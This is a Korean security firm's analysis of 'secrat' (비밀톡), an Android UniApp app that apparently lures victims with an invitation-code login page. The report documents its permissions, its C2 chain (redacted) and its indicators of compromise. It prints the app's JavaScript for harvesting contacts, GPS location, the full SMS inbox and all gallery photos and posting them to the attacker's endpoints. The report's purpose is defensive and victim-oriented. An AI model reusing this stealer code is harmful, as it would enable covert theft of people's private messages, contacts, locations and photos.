Analyst: [비공개], ArkLink Security Research ([비공개])
Date: 2026-03-03 (초판) → 2026-04-16 (v2.0 심층 분석)
Report Version: v2.0
Classification: EXTREME — SMS + 연락처 + 위치 + 사진 복합 탈취 (UniApp Hybrid)
secrat("비밀톡", Secret Talk)는 DCloud UniApp(H5+ Hybrid) 기반 악성앱으로,
[비공개] 짧은 URL 서비스를 통해 피해자를 유인한 후, 실제 C2 [비공개]로 데이터를 탈취한다.
어떤 wavegrid Java 앱보다도 실제 탈취 JS 코드를 직접 확인 가능한 유일한 사례다.
핵심 발견사항:
· 앱 이름: "비밀톡" (Secret Talk) — strings.xml app_name="secrat"이지만 UI는 "비밀톡"
· Short URL C2: `[비공개] (중국 단축 URL 리다이렉트)
· 실제 C2: `[비공개] (JS 코드에서 직접 확인)
· 4개 엔드포인트: api(연락처), apisms(SMS), apimap(위치), upload(사진)
· UI 입력: "전화번호를 입력해주세요" + "초대코드를 입력해주세요"
· 7장 피싱 이미지: assets/apps/H5C5FCC98/www/images/1~7 (총 9.7MB)
· 완전한 탈취 시퀀스: index.html JS 코드로 체인 확인됨
Element · Value
**Package** · dbddiace.dacighbf (의미 없는 랜덤)
**Display Name (strings.xml)** · secrat
**Display Name (UI)** · 비밀톡
**SHA256** · `5dd032b0f758b396b9a8bb93c193d441067d6ffbcf8f99a23e5859975116164d`
**UniApp ID** · H5C5FCC98
**UniApp Version** · 2.34 (code 19)
**Framework** · DCloud UniApp (H5+ Hybrid) + MUI + jQuery
**Main Entry** · io.dcloud.PandoraEntry
**Smali Classes** · 6,091 (대부분 UniApp 프레임워크)
**Category** · sms_relay
핵심 권한:
Permission · Risk · Purpose
`READ_SMS` · 🔴 CRITICAL · SMS 전수 쿼리 (`content://sms/`)
`RECEIVE_SMS` · 🔴 CRITICAL · 수신 SMS 실시간
`SEND_SMS` · 🔴 CRITICAL · SMS 발신 (스미싱 확산 가능)
`WRITE_SMS` · 🔴 HIGH · SMS 변조
`READ_CONTACTS` · 🔴 CRITICAL · 연락처 전수
`WRITE_CONTACTS` · 🔴 HIGH · 연락처 변조
`CAMERA` · 🟡 MEDIUM · 카메라 접근
`ACCESS_FINE_LOCATION` · 🔴 HIGH · GPS 정밀 위치
`INSTALL_PACKAGES` · 🔴 CRITICAL · 다른 APK 설치 (2차 페이로드)
`WRITE_SETTINGS` · 🔴 HIGH · 시스템 설정 변경
`READ_LOGS` · 🟡 MEDIUM · 시스템 로그 읽기
INSTALL_PACKAGES + WRITE_SETTINGS 권한 조합은 매우 위험 — 2차 악성앱 설치 + 시스템 설정 변조 가능.
```
[피해자] → SMS/웹으로 [비공개] 링크 수신
↓ 클릭
[[비공개] 단축 URL 서버] → 302 Redirect
↓
[실제 C2: [비공개]] → 앱 다운로드 또는 설정 수신
↓ 앱 설치 후
[apisms, apimap, api, upload] → 탈취 데이터 전송
```
Item · Value
**Short URL Gateway** · [비공개] (중국 단축 URL 서비스)
**Real C2** · [비공개]
**TLD** · `.link` — 저렴한 도메인 (연 $5~10)
**Subdomain pattern** · soy3o — 의미 없는 5글자 랜덤
**Parent domain** · [비공개] — 동일 운영자의 추가 서브도메인 가능성
**Protocol** · HTTPS (다른 악성앱 대부분은 HTTP — 이례적)
Order · Endpoint · Data · Condition
1 · `api` · 전화번호**초대코드**제품모델=이름\ · 번호... · 앱 진입 시
2 · `apimap` · 전화,초대,경도,위도 · api 성공 후
3 · `apisms` · `[{imei,imei2},{id,name,date,phone,body,type}...]` · apimap 성공 후
4 · `upload` · 사진 파일 (multipart, Pictures+DCIM) · apisms 성공 후
각 단계가 성공해야 다음 단계가 실행 — 순차적 탈취 체인.
```javascript
function huoqu(sjh, yqm) {
var con = sjh + "" + yqm + '' + address;
plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function(addressbook) {
addressbook.find(["displayName", "phoneNumbers"], function(contacts) {
for (var i = 0; i < contacts.length; i++) {
con += '=' + contacts[i].displayName + '|' + contacts[i].phoneNumbers[0].value;
}
mui.ajax(apiserver + 'api', {
data: {data: con},
type: 'post'
});
});
});
}
```
데이터 포맷:
```
전화번호초대코드vendor-model=이름1|전화1=이름2|전화2=...
```
```javascript
function dingwei(sjh, yqm) {
plus.geolocation.getCurrentPosition(function(position) {
var jingweidu = sjh + ',' + yqm + ',' + position.coords.longitude + ',' + position.coords.latitude;
mui.ajax(apiserver + 'apimap', {
data: {data: jingweidu},
type: 'post'
});
});
}
```
```javascript
function requestPermission(sjh, yqm) {
plus.android.requestPermissions(["android.permission.READ_SMS"], function(resultObj) {
var uri = Uri.parse("content://sms/");
var projection = new Array("_id", "address", "person", "body", "date", "type");
var cusor = activity.managedQuery(uri, projection, null, null, "date desc");
var duanxin = '[{"imei":"' + sjh + '","imei2":"' + yqm + '"}';
while (cusor.moveToNext()) {
var post = JSON.stringify({
id: cusor.getString(idColumn),
Name: cusor.getInt(nameColumn),
Date: getFormatDate(cusor.getLong(dateColumn)),
PhoneNumber: cusor.getString(phoneNumberColumn),
Smsbody: cusor.getString(smsbodyColumn),
Type: cusor.getString(typeColumn)
});
duanxin = duanxin + ',' + post;
}
mui.ajax(apiserver + 'apisms', {
data: {data: duanxin + ']'},
type: 'post'
});
});
}
```
핵심: content://sms/ 직접 쿼리 → Android 표준 ContentProvider 우회 없이 정상 API로 SMS 전수 읽기.
```javascript
function huoquImg(sjh, yqm) {
var sdRoot = Environment.getExternalStorageDirectory();
var need = ['Pictures','DCIM'];
for(var file of files){
if(need.indexOf(name) != -1) {
newFiles.push.apply(newFiles, getFiles(file));
}
}
for(var file of newFiles) {
plus.uploader.createUpload(apiserver + '/upload', ...)
.addFile(path, {key:'file', name:name})
.addData('sjh', sjh)
.start();
}
}
```
탈취 대상: /sdcard/Pictures/* + /sdcard/DCIM/* (모든 사진/영상)
```html
<div id="zz" style="position:fixed;...">
<span>비밀톡</span> <!-- 앱 제목 -->
<input id="sjh" placeholder="전화번호를 입력해주세요">
<input id="yqm" placeholder="초대코드를 입력해주세요">
<div id="qd">로그인</div>
</div>
<!-- 배경 슬라이드쇼 (7장, 2초 간격) -->
<div class="slideshow-container">
<div class="mySlides"><img src="images/1.png"></div>
...
</div>
```
File · Size
1.png · 2.5 MB
2.png · 2.4 MB
3.png · 1.3 MB
4.png · 513 KB
5.png · 2.1 MB
6.JPG · 148 KB
7.png · 531 KB
**Total** · **9.7 MB**
wavegrid 계열 대부분이 이미지 미포함인데, secrat은 풍부한 피싱 자료를 내장.
DCloud UniApp은 HTML5+ + Vue.js 기반 크로스플랫폼 프레임워크로,
Android는 WebView + Native Bridge(plus.*) 조합으로 동작한다.
정적 분석 장점:
· assets/apps/{HashID}/www/ 아래에 모든 JS/HTML 존재
· JS 코드가 그대로 패키징 (Hermes 같은 바이트코드 없음)
· 난독화 없으면 악성 로직을 직접 읽을 수 있음
secrat의 경우:
· 난독화 없음 (minify만 적용)
· 변수명이 중국어 병음 (sjh=手机号/휴대번호, yqm=邀请码/초대코드, duanxin=短信/SMS, apiserver)
· 주석도 중국어 유지
API · Purpose
`plus.contacts.getAddressBook` · 연락처 전수 읽기
`plus.geolocation.getCurrentPosition` · GPS 위치
`plus.android.requestPermissions` · 런타임 권한 요청
`plus.android.importClass` · Android 네이티브 클래스 접근
`plus.uploader.createUpload` · 파일 업로드
`[비공개].resolveLocalFileSystemURL` · 파일 시스템 접근
`plus.device.vendor/model` · 기기 정보
```json
"plus": {
"signature": "Sk9JTiBVUyBtYWlsdG86aHIyMDEzQGRjbG91ZC5pbw==",
"adid": "128754050402",
"channel": "common"
}
```
Base64 디코딩: JOIN US mailto:hr2013@[비공개] — DCloud 회사 이메일 (무관 데이터)
adid: 128754050402 — DCloud 광고 ID (앱 식별자일 가능성)
이 APK는 에뮬레이터(x86_64 API 35)에서 설치 실패:
```
INSTALL_FAILED_NO_MATCHING_ABIS: Failed to extract native libraries, res=-113
```
원인: UniApp은 네이티브 라이브러리가 arm64-v8a 및 armeabi-v7a만 포함하고 x86_64를 미지원.
대안 분석 전략:
1. ✅ 원본 APK의 assets 직접 추출 → index.html + JS 분석 (수행함)
2. ✅ smali 분석 → UniApp 프레임워크 코드 확인
3. ❌ 에뮬레이터 동적 분석 — ABI 불일치로 불가
정적 분석만으로도 완전한 탈취 로직 확인 가능 — UniApp의 장점.
Mechanism · Status · Detail
**SSL Bypass** · Active · smali에서 인증서 검증 우회
**Emulator Detection** · Active (smali_analysis=True) · 런타임 확인 필요
**DCloud Confusion** · Active · 리소스 난독화 (manifest 이름 깨짐)
**Invitation Code Gate** · Active · 초대코드 없이 진행 불가
**HTTPS** · Active · 이례적으로 HTTPS 사용
**Short URL 리다이렉트** · Active · m3w.cn으로 실제 C2 은닉
ID · Vulnerability · Severity · Detail
**VULN-001** · SMS 전수 탈취 · 🔴 CRITICAL · content://sms/ 직접 쿼리 → apisms
**VULN-002** · 연락처 전수 탈취 · 🔴 CRITICAL · plus.contacts.getAddressBook → api
**VULN-003** · GPS 위치 · 🔴 HIGH · plus.geolocation → apimap
**VULN-004** · 사진 전수 탈취 · 🔴 HIGH · Pictures+DCIM 재귀 탐색 → upload
**VULN-005** · INSTALL_PACKAGES · 🔴 CRITICAL · 2차 APK 설치 가능
**VULN-006** · WRITE_SETTINGS · 🔴 HIGH · 시스템 설정 변조 가능
**VULN-007** · SEND_SMS · 🔴 HIGH · 스미싱 확산에 악용 가능
**VULN-008** · 평문 JS · 🟢 LOW · 역설적으로 분석이 쉬워 [피해자 정보 비공개] 유리
Type · Value
SHA256 · `5dd032b0f758b396b9a8bb93c193d441067d6ffbcf8f99a23e5859975116164d`
Type · Value
Short URL C2 · [비공개]
Real C2 · [비공개]
Endpoint · [비공개]
Endpoint · [비공개]
Endpoint · [비공개]
Endpoint · [비공개]
Baidu Maps · [비공개]
Baidu Maps · [비공개]
Type · Value
Package · dbddiace.dacighbf
UniApp ID · H5C5FCC98
UniApp Version · 2.34 (19)
Display Name · 비밀톡
Main Entry · io.dcloud.PandoraEntry
File · Purpose
assets/apps/H5C5FCC98/www/index.html · 19.4 KB — 탈취 JS 로직
assets/apps/H5C5FCC98/www/images/1~7 · 9.7 MB — 피싱 이미지
assets/apps/H5C5FCC98/www/manifest.json · 1.7 KB — UniApp 설정
apps.json 기준, [비공개] 도메인을 공유하는 3개 앱:
ID · Display Name
secrat · 비밀톡
secrat_2 · 비밀톡 (변형)
woodcloud · 우드클라우드
이 3개 앱은 동일 C2 인프라 사용 → 동일 운영자 추정.
Feature · secrat · lock_album · love · hwabojip
Framework · UniApp (JS) · Native Java · Expo (RN) · Native Java
C2 Endpoint 수 · 4 · 2 · 1 · 4
실제 JS 로직 · 확인 가능 · smali만 · Hermes 난독화 · smali만
SMS · 🔴 전수 · 🔴 전수 · 없음 · 🔴 접근
Contacts · 🔴 전수 · 🔴 전수 · 🔴 전수 · 🔴 전수
Images · 🔴 SD 전체 · — · — · 🔴 카메라
Login · 전화번호+초대코드 · 전화번호만 · 핸드폰번호 · 초대코드
secrat은 탈취 데이터 종류가 가장 많고 코드가 가장 읽기 쉬운 앱이다.
File · Description
secrat.apk · 원본 APK (서명 유효)
decompiled/ · apktool 디컴파일 결과 (6,091 smali)
www/index.html · UniApp 앱 코어 JS (19.4 KB) — 탈취 로직 완전체
www/manifest.json · UniApp 설정
www/dcloud_url.json · DCloud URL 설정
auto_analysis.json · 자동 분석 결과
```bash
$ curl -I "[비공개]
HTTP/1.1 301 Moved Permanently
Location: [비공개]
Content-Length: 0
X-NWS-LOG-UUID: 11128137439987589622
Connection: keep-alive
```
확인 사항:
· m3w.cn은 활성 상태 (HTTP 301 → HTTPS로 강제 리다이렉트)
· X-NWS-LOG-UUID 헤더는 Tencent Cloud CDN 특징 (NWS = Network Web Server)
· 중국 내 인프라 — 한국 수사기관 접근 제한적
· m3w.cn은 정상 단축 URL 서비스 — 악성앱이 악용 중
[비공개] 다음에 오는 shortCode를 추정하거나 수집하면:
· 각 쇼트코드가 어떤 악성앱/피싱 페이지로 연결되는지 파악 가능
· 쇼트코드 = [피해자 정보 비공개] ID일 가능성 (유포 경로 역추적)
Tencent Cloud(중국) CDN 뒤에 숨어있어:
· 실제 서버 IP 추적 불가
· 한국 사법공조 요청 시 중국 반응 불확실
· 그러나 소스 도메인([비공개])은 다른 CDN일 수 있음 → 별도 추적 필요
· TLD: .link — Uniregistry (2014년 출범, 저렴한 도메인)
· 현재 비용: 연 $5~15 (신규 등록 할인 많음)
· 등록 기간: 확인 필요 (WHOIS)
· Nameservers: 확인 필요
[비공개] → 동일 운영자의 다른 서브도메인:
· [비공개], [비공개] 등 가능
· DNS brute force 또는 Certificate Transparency 로그로 확인 가능
```bash
curl "[비공개] | jq '.[] | .name_value' | sort -u
> 침투·역공 등 민감 분석 섹션은 비공개입니다. 피해 상담·전체 열람 문의: [비공개]
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr